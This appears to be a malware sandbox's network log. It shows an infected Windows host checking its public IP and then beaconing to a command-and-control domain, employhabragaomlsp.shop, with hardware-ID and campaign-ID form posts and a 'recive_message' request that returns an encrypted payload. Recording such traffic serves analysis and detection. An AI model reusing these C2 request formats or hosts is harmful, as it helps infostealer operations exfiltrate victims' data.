2024-05-24 11:42:58 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u3pe0o5ke5023ugm1vpn2vo22e; expires=Tue, 17-Sep-2024 05:29:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iw7gW%2FjlqAuv5juDx1pd02Wr9FQdB76pyFkpB1HnB9Ari43WcLXg2eQxp2LJ8%2F7uQttvFAlB3MaC%2FAdwETPGkS3FDtu8M1%2FC4spAy422tkZUJGZN4v7un8ZdY62ngBOQg%2FWvqcDAxSHw2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d067baf387ca6-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49882	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:58 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:58 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:58 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:58 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:58 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49883	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5433 Host: employhabragaomlsp.shop
2024-05-24 11:42:58 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:42:59 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kp6iq7n3nr34i0n2b4q75tl32q; expires=Tue, 17-Sep-2024 05:29:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0OFrvffUyzeKu4rZFWTOhqbjnxWUVa9C9Ml9fGeSmhVkowo3iAro9PVB01TPL2BOD3nSe95cWAmkb6WuRYe6cCwJSzxlK%2BEPD7l3dRF2NUxrZsNQfmpDnsqj0nHvFxtr8pYW8FJ%2BRf2Few%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06810d1c42bf-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49886	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:59 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:59 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E3F53:2386_93878F2E:0050_66507D43_EF87D15:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=icf05wdlWiGjo7uYJq5NsgFtqKTxuCt%2FD8vubNpbc6Uxllf3lTv1ppGhLrRlsdz87jcbDdf1uGQbep4Um5LXqNxi78OdGrEnOjBpUe%2FcsfDXzaDbQpV5khn8mg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06849c750ca0-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:59 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49885	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:59 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:42:59 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:42:59 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o6i5pmscpk2gme4fvrtd9022jg; expires=Tue, 17-Sep-2024 05:29:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rir024OGgYiRwDeWvTEwHUtW225a8Hklr%2F4kOOHWwGe3QfX%2F77hlR3DCZet%2FSNlJDbwcXTsY4o%2FpUNhNHNat8QelAvvoWv%2B56SgrGdWzVLjFWCcZPAiWuJTDxmZdok8lMy3%2F3w69v9925Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d068518008ca7-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:59 UTC	551	IN	Data Raw: 33 38 31 38 0d 0a 76 47 43 71 75 31 59 42 77 6c 69 56 6d 75 6d 4c 78 6e 7a 64 63 36 4a 79 41 47 58 68 4e 49 56 41 71 4c 38 34 6b 6d 30 7a 51 74 37 48 51 74 79 5a 62 44 58 75 65 75 62 2f 79 37 47 79 44 71 67 57 6a 6c 42 68 41 63 4d 4f 34 79 48 45 7a 46 32 2b 54 31 59 36 2f 49 59 37 30 5a 6b 7a 62 2b 42 69 74 2f 2b 44 36 61 63 51 76 78 4c 4a 48 58 41 4a 67 6c 7a 70 4a 38 44 61 57 2f 59 4d 58 79 2b 37 32 51 58 4c 30 54 68 6f 72 7a 44 34 75 4d 57 70 6f 77 62 2f 53 59 41 2f 5a 52 47 41 65 65 51 7a 77 35 31 46 76 68 59 52 4a 37 43 65 57 6f 6a 61 4d 32 4f 75 50 76 48 78 67 65 4f 75 47 4c 34 58 79 41 4a 70 41 34 6c 63 35 79 54 42 30 46 4c 69 41 56 55 6f 73 4e 38 50 79 35 6c 36 49 36 63 69 74 36 44 4c 75 70 59 64 72 67 44 56 48 58 49 42 77 30 6d 70 4f 34 72 61 56 Data Ascii: 3818vGCqu1YBwliVmumLxnzdc6JyAGXhNIVAqL84km0zQt7HQtyZbDXueub/y7GyDqgWjlBhAcMO4yHEzF2+T1Y6/IY70Zkzb+Bit/+D6acQvxLJHXAJglzpJ8DaW/YMXy+72QXL0ThorzD4uMWpowb/SYA/ZRGAeeQzw51FvhYRJ7CeWojaM2OuPvHxgeOuGL4XyAJpA4lc5yTB0FLiAVUosN8Py5l6I6cit6DLupYdrgDVHXIBw0mpO4raV
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 64 4e 55 39 78 6b 52 50 2f 4c 48 51 73 2f 56 64 44 76 67 4e 50 4c 33 6d 65 69 32 47 37 45 44 7a 42 56 6b 43 6f 42 59 35 79 66 4e 30 46 54 32 43 46 49 6f 75 4e 38 4d 78 4e 4d 33 5a 36 4e 36 75 62 69 4d 38 65 52 47 2f 79 44 44 46 47 55 56 67 46 69 6e 50 59 54 45 47 76 63 44 45 58 6a 38 31 41 54 46 30 44 39 6b 71 44 62 6c 38 34 54 71 72 52 6d 35 47 38 4d 59 61 41 47 4e 56 2b 41 6e 7a 63 39 55 2b 77 4a 53 4b 72 71 65 54 49 6a 65 4c 43 50 34 65 74 6e 37 6d 76 2b 57 48 61 34 41 67 41 38 73 48 73 4e 52 36 32 4b 53 6e 56 50 34 41 46 77 74 74 74 41 48 78 64 41 31 59 71 30 38 2f 50 6d 44 34 61 41 5a 76 78 58 4e 48 32 77 48 6a 56 37 69 4a 73 44 55 47 72 35 50 56 6a 6a 38 68 6b 4c 34 31 44 68 6f 72 48 6a 43 2b 34 58 6e 6f 77 6a 2f 44 6f 34 4a 49 67 43 50 46 72 39 69 Data Ascii: dNU9xkRP/LHQs/VdDvgNPL3mei2G7EDzBVkCoBY5yfN0FT2CFIouN8MxNM3Z6N6ubiM8eRG/yDDFGUVgFinPYTEGvcDEXj81ATF0D9kqDbl84TqrRm5G8MYaAGNV+Anzc9U+wJSKrqeTIjeLCP4etn7mv+WHa4AgA8sHsNR62KSnVP4AFwtttAHxdA1Yq08/PmD4aAZvxXNH2wHjV7iJsDUGr5PVjj8hkL41DhorHjC+4Xnowj/Do4JIgCPFr9i
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 30 4c 56 69 48 38 6b 45 4c 50 77 58 51 37 34 41 7a 6e 39 59 66 48 72 78 4b 32 55 64 39 65 65 30 65 45 57 71 64 36 69 74 6c 57 2b 41 56 65 4b 62 62 55 44 63 48 5a 50 47 71 70 4f 66 66 30 6a 65 69 6f 45 72 49 55 77 78 56 76 41 6f 4e 61 34 43 58 4c 6e 52 53 77 43 45 6c 67 35 4a 34 79 78 64 55 2f 62 2b 49 50 39 50 61 46 37 72 4a 65 6f 46 2f 5a 55 47 55 4c 77 77 36 6e 4c 63 76 51 55 50 73 42 58 53 47 38 32 67 48 43 32 54 74 6d 70 6a 4c 2b 2b 4a 6e 75 71 78 2b 2b 47 73 73 64 62 41 4b 43 55 2b 42 69 68 4a 31 64 36 45 38 4a 59 4a 48 33 4f 49 6a 47 65 6e 72 67 50 66 75 34 30 36 6d 67 46 4c 38 63 79 68 74 74 42 49 52 59 35 79 2f 41 7a 31 4c 77 44 31 38 6d 76 64 49 48 79 64 55 33 63 61 77 38 2b 76 36 44 2b 2b 52 51 2f 78 62 59 55 44 70 48 6f 31 33 72 49 63 62 63 58 Data Ascii: 0LViH8kELPwXQ74Azn9YfHrxK2Ud9ee0eEWqd6itlW+AVeKbbUDcHZPGqpOff0jeioErIUwxVvAoNa4CXLnRSwCElg5J4yxdU/b+IP9PaF7rJeoF/ZUGULww6nLcvQUPsBXSG82gHC2TtmpjL++Jnuqx++GssdbAKCU+BihJ1d6E8JYJH3OIjGenrgPfu406mgFL8cyhttBIRY5y/Az1LwD18mvdIHydU3caw8+v6D++RQ/xbYUDpHo13rIcbcX
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 76 74 63 77 42 78 4e 63 7a 62 61 77 30 2b 76 4b 49 35 4f 52 51 2f 78 62 59 55 44 70 48 72 31 48 71 44 4d 48 52 58 62 41 51 48 7a 6e 38 32 51 36 49 67 58 52 76 71 6a 62 2b 2b 49 4c 73 72 42 57 32 46 4d 45 62 5a 77 53 46 57 2b 67 72 32 4e 64 5a 2f 67 78 64 4c 4c 72 66 41 64 72 52 50 53 50 75 65 76 44 67 79 37 48 6b 50 37 45 63 31 42 64 79 52 35 77 59 2f 6d 4c 4e 30 52 71 6f 54 31 49 68 73 39 30 44 78 64 38 39 61 36 41 38 38 76 65 47 35 36 4d 5a 76 78 7a 4f 48 32 51 50 6a 6c 72 73 4c 4d 50 62 57 76 45 46 45 57 37 38 32 52 71 49 67 58 52 54 6f 7a 72 33 34 38 76 32 36 67 66 2f 46 73 78 51 4f 6b 65 52 58 4f 34 69 79 64 4a 64 39 41 52 64 4a 62 6e 52 41 63 48 63 50 57 32 79 4d 2f 6e 77 67 2b 61 68 46 62 38 63 79 68 78 69 42 4d 4d 59 70 79 58 53 6e 51 4b 77 50 56 Data Ascii: vtcwBxNczbaw0+vKI5ORQ/xbYUDpHr1HqDMHRXbAQHzn82Q6IgXRvqjb++ILsrBW2FMEbZwSFW+gr2NdZ/gxdLLrfAdrRPSPuevDgy7HkP7Ec1BdyR5wY/mLN0RqoT1Ihs90Dxd89a6A88veG56MZvxzOH2QPjlrsLMPbWvEFEW782RqIgXRTozr348v26gf/FsxQOkeRXO4iydJd9ARdJbnRAcHcPW2yM/nwg+ahFb8cyhxiBMMYpyXSnQKwPV
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 42 4d 66 51 4e 32 43 70 50 66 2f 30 67 65 71 6a 58 76 46 52 78 77 67 69 58 38 4e 31 38 44 4c 48 6e 55 57 2b 46 68 45 6e 73 4a 35 61 69 4e 45 35 61 36 6f 2b 38 50 57 4d 37 36 30 4d 74 68 54 4f 45 47 59 4d 6a 46 44 6a 49 63 72 50 58 50 51 48 55 69 32 78 30 41 48 4d 6d 58 6f 6a 70 79 4b 33 6f 4d 76 62 71 52 43 6b 48 73 63 42 61 45 65 63 47 50 35 69 7a 64 45 61 71 45 39 56 4c 71 37 56 41 38 50 53 4f 6d 53 76 50 2f 33 34 68 4f 32 6e 45 4c 51 51 77 78 68 76 43 6f 31 63 37 69 76 4e 30 56 37 33 54 78 39 67 75 38 5a 43 6b 4a 6b 66 51 6f 30 57 38 4f 4c 4c 39 75 6f 48 2f 78 62 4d 55 44 70 48 6a 31 2f 72 4b 4d 48 61 55 50 34 47 58 79 75 75 7a 41 48 4d 32 6a 31 67 70 7a 50 35 2b 49 7a 73 71 68 6d 2b 47 73 51 61 59 51 48 44 47 4b 63 6c 30 70 30 43 73 43 4e 53 49 4c 48 Data Ascii: BMfQN2CpPf/0geqjXvFRxwgiX8N18DLHnUW+FhEnsJ5aiNE5a6o+8PWM760MthTOEGYMjFDjIcrPXPQHUi2x0AHMmXojpyK3oMvbqRCkHscBaEecGP5izdEaqE9VLq7VA8PSOmSvP/34hO2nELQQwxhvCo1c7ivN0V73Tx9gu8ZCkJkfQo0W8OLL9uoH/xbMUDpHj1/rKMHaUP4GXyuuzAHM2j1gpzP5+Izsqhm+GsQaYQHDGKcl0p0CsCNSILH
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 7a 56 6b 71 44 66 6c 2b 34 54 6d 6f 42 36 77 46 38 59 52 62 51 47 45 58 2b 59 71 7a 5a 30 55 73 41 68 4a 59 4f 53 65 4c 4d 2f 61 4d 43 4f 2f 64 4f 36 34 6a 4f 58 6b 52 76 38 52 79 68 70 6f 43 59 4e 52 39 53 54 44 33 56 6e 69 44 46 63 6f 75 74 49 4f 78 64 45 39 59 36 55 78 2b 76 4f 47 37 36 51 56 76 6c 47 4f 55 47 55 66 77 77 36 6e 45 38 66 54 58 76 34 4d 51 53 66 38 77 55 7a 52 6d 54 4e 76 34 47 4b 33 39 34 4c 37 6f 78 75 33 47 4d 41 65 61 77 36 45 55 75 51 6a 7a 74 46 56 2b 51 78 5a 49 62 54 52 41 63 6a 53 50 47 6d 68 4e 50 4b 34 78 61 6d 6a 42 76 39 4a 67 44 39 68 41 6f 68 58 70 51 58 4d 32 6c 61 77 45 42 38 35 2f 4e 6b 4f 69 49 46 30 59 4b 51 30 2f 76 65 50 34 36 4d 65 75 42 66 41 47 47 6b 4b 69 45 54 69 4c 4d 2f 63 57 76 45 41 58 53 43 75 32 77 7a 44 Data Ascii: zVkqDfl+4TmoB6wF8YRbQGEX+YqzZ0UsAhJYOSeLM/aMCO/dO64jOXkRv8RyhpoCYNR9STD3VniDFcoutIOxdE9Y6Ux+vOG76QVvlGOUGUfww6nE8fTXv4MQSf8wUzRmTNv4GK394L7oxu3GMAeaw6EUuQjztFV+QxZIbTRAcjSPGmhNPK4xamjBv9JgD9hAohXpQXM2lawEB85/NkOiIF0YKQ0/veP46MeuBfAGGkKiETiLM/cWvEAXSCu2wzD
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 63 30 38 66 6a 4c 70 2b 51 52 2f 30 6e 35 55 43 70 48 76 42 69 6e 4f 6f 71 46 47 73 55 4d 58 79 36 37 79 42 4f 46 2b 69 4a 75 72 7a 48 32 75 4d 57 70 6f 6c 37 6e 51 59 35 51 5a 68 62 44 44 72 64 77 6b 59 67 4a 70 31 38 44 50 2f 4c 48 51 74 36 5a 62 44 48 75 65 75 57 34 30 36 6e 6a 45 4c 49 51 77 78 35 68 46 5a 46 51 35 44 54 4a 6d 6d 54 4f 4c 6c 77 72 73 4e 4d 4e 77 2b 63 4b 51 71 30 78 2b 2f 57 45 34 70 6f 67 71 68 4c 4f 48 6d 55 52 6b 68 61 70 59 73 57 64 41 73 6c 50 47 57 43 44 6b 45 4c 51 6d 57 77 6a 6c 54 6e 35 39 6f 7a 2f 74 56 4f 65 48 4d 73 63 62 77 69 49 46 71 6c 69 7a 4a 30 43 6f 45 45 52 4a 4b 32 65 57 70 69 4c 62 7a 62 7a 62 61 65 71 6c 4b 65 39 58 71 6c 52 6d 45 49 73 52 35 45 57 76 32 4b 4e 33 6b 6a 69 43 56 49 32 76 35 6b 38 39 76 6f 6a 64 Data Ascii: c08fjLp+QR/0n5UCpHvBinOoqFGsUMXy67yBOF+iJurzH2uMWpol7nQY5QZhbDDrdwkYgJp18DP/LHQt6ZbDHueuW406njELIQwx5hFZFQ5DTJmmTOLlwrsNMNw+cKQq0x+/WE4pogqhLOHmURkhapYsWdAslPGWCDkELQmWwjlTn59oz/tVOeHMscbwiIFqlizJ0CoEERJK2eWpiLbzbzbaeqlKe9XqlRmEIsR5EWv2KN3kjiCVI2v5k89vojd
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 34 68 4b 6e 38 4a 2f 39 5a 67 43 38 73 52 35 73 57 76 32 4c 2f 33 6c 54 2b 43 45 63 78 38 66 73 56 79 38 6b 79 59 4f 42 30 74 2f 37 4c 73 66 52 51 2f 78 58 52 55 44 70 58 30 51 32 79 63 5a 32 4e 43 4f 39 42 53 47 43 71 6e 6c 71 61 6c 33 52 78 34 47 4b 33 76 34 6a 37 74 68 69 38 42 38 4e 58 58 44 6d 6c 56 66 59 6f 36 39 42 4b 39 7a 46 76 4e 62 2f 51 44 4d 2f 50 4a 53 50 75 65 76 69 34 30 39 44 6b 56 76 4d 58 77 77 59 69 4f 4d 30 57 2f 32 4b 53 6e 57 2f 7a 41 56 38 6e 71 73 39 50 37 74 6f 6c 61 59 45 33 35 2f 2f 4c 70 2b 51 59 2f 30 6d 54 58 69 49 44 6b 68 61 2f 63 70 69 47 44 36 4e 59 41 58 4b 6a 6b 42 75 49 7a 33 51 37 38 6e 53 33 36 73 75 78 35 46 6d 38 41 39 49 57 59 52 47 41 45 64 6b 63 2f 39 35 55 2f 67 68 48 46 62 2f 50 41 63 6a 53 43 6c 32 42 4e 50 Data Ascii: 4hKn8J/9ZgC8sR5sWv2L/3lT+CEcx8fsVy8kyYOB0t/7LsfRQ/xXRUDpX0Q2ycZ2NCO9BSGCqnlqal3Rx4GK3v4j7thi8B8NXXDmlVfYo69BK9zFvNb/QDM/PJSPuevi409DkVvMXwwYiOM0W/2KSnW/zAV8nqs9P7tolaYE35//Lp+QY/0mTXiIDkha/cpiGD6NYAXKjkBuIz3Q78nS36sux5Fm8A9IWYRGAEdkc/95U/ghHFb/PAcjSCl2BNP
2024-05-24 11:42:59 UTC	1369	IN	Data Raw: 6f 77 37 39 4e 38 4d 47 59 55 66 4e 46 76 39 69 6b 70 31 75 2b 78 74 53 4c 72 72 56 51 74 65 58 4c 53 4f 32 65 71 2b 72 78 61 6d 32 58 75 64 52 68 78 35 76 42 6f 42 59 35 44 44 59 32 31 6e 6d 44 42 59 65 67 6f 39 57 6d 76 6b 6b 62 72 55 72 38 4f 69 31 31 34 51 4f 73 67 54 52 46 33 49 35 76 57 48 32 4a 64 71 66 66 50 4d 5a 55 6d 44 79 6e 68 71 49 67 58 51 79 39 47 6a 58 36 49 62 38 74 52 6d 76 55 64 39 65 65 30 65 56 46 72 39 78 68 4a 31 49 73 46 63 52 5a 37 4c 54 41 38 76 58 4e 33 47 79 50 50 54 75 69 4b 36 61 49 4a 34 63 77 54 46 76 42 72 31 6f 78 7a 4c 48 79 45 76 33 48 32 38 65 69 38 38 46 32 4a 73 53 59 4c 59 35 74 37 62 4c 38 65 52 47 2f 7a 44 4e 45 55 4d 4b 67 68 62 34 62 4e 4f 64 54 4c 42 58 41 57 37 38 7a 45 4b 51 6d 58 4e 67 73 69 6a 78 2b 35 33 Data Ascii: ow79N8MGYUfNFv9ikp1u+xtSLrrVQteXLSO2eq+rxam2XudRhx5vBoBY5DDY21nmDBYego9WmvkkbrUr8Oi114QOsgTRF3I5vWH2JdqffPMZUmDynhqIgXQy9GjX6Ib8tRmvUd9ee0eVFr9xhJ1IsFcRZ7LTA8vXN3GyPPTuiK6aIJ4cwTFvBr1oxzLHyEv3H28ei88F2JsSYLY5t7bL8eRG/zDNEUMKghb4bNOdTLBXAW78zEKQmXNgsijx+53

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49889	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:00 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1654 Host: employhabragaomlsp.shop
2024-05-24 11:43:00 UTC	1654	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
